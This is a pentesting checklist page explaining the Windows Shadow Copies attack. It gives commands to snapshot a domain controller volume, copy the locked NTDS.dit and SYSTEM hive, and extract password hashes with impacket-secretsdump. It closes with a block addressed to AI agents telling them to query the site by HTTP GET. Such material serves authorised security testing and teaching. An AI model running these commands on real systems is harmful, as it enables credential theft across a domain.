# Shadow Copies Attack

### Overview

**Volume Shadow Copy Service (VSS)** is a Windows feature that creates point-in-time snapshots of files and volumes.

It is designed for Backups and Recovery.

In Active Directory environments, attackers abuse Shadow Copies to:

* Copy locked system files
* Extract credential databases
* Dump NTDS.dit from a Domain Controller
* Retrieve SAM & SYSTEM registry hives

### Why this Works

Certain critical files are locked by Windows while the system is running:

* `C:\Windows\NTDS\NTDS.dit` (Active Directory database)
* `C:\Windows\System32\config\SAM`
* `C:\Windows\System32\config\SYSTEM`

Normally:

You cannot copy these files because they are in use.

But VSS:

* Creates a snapshot of the volume
* Allows read-only access to the snapshot
* Bypasses file lock restrictions

### Prerequisites

1. Local Administrator privileges on DC

### Steps

1. Create a shadow copy:

   ```bash
   # Use any of the below commands
   vshadow.exe -nw -p  C:
   vssadmin create shadow /for=C:
   ```
2. Copy NTDS.dit from the shadow copy:

   ```bash
   copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\ntds.dit
   ```
3. Copy the system hive:

   ```bash
   reg save HKLM\SYSTEM C:\Temp\SYSTEM
   ```
4. Extract hashes:

   ```bash
   impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
   ```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/post-compromise-attacks/domain-takeover/shadow-copies-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
